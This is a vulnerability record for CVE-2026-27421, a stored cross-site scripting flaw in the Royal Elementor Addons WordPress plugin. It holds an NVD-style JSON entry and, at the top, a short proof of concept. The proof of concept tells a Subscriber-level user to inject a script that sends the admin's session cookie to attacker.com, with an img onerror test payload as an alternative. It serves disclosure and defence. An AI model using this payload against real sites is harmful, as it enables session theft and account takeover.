CVE-2026-27421

<!-- Proof of Concept: Stored XSS in Royal Elementor Addons --> <!-- Step 1: Login as a low-privileged user (e.g., Subscriber) --> <!-- Step 2: Inject the following payload into a vulnerable element field --> <script> // Simulate stealing the admin's session cookie fetch('https://attacker.com/steal?cookie=' + document.cookie); alert('XSS Executed'); </script> <!-- Alternatively, test with simple image payload --> <img src=x onerror=alert('XSS-Test')>

{"cve": {"id": "CVE-2026-27421", "sourceIdentifier": "[email protected]", "published": "2026-05-07T09:16:27.480", "lastModified": "2026-05-07T14:00:48.567", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in WProyal Royal Elementor Addons allows Stored XSS.\n\nThis issue affects Royal Elementor Addons: from n/a before 1.7.1053."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/wordpress/plugin/royal-elementor-addons/vulnerability/wordpress-royal-elementor-addons-plugin-1-7-1053-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}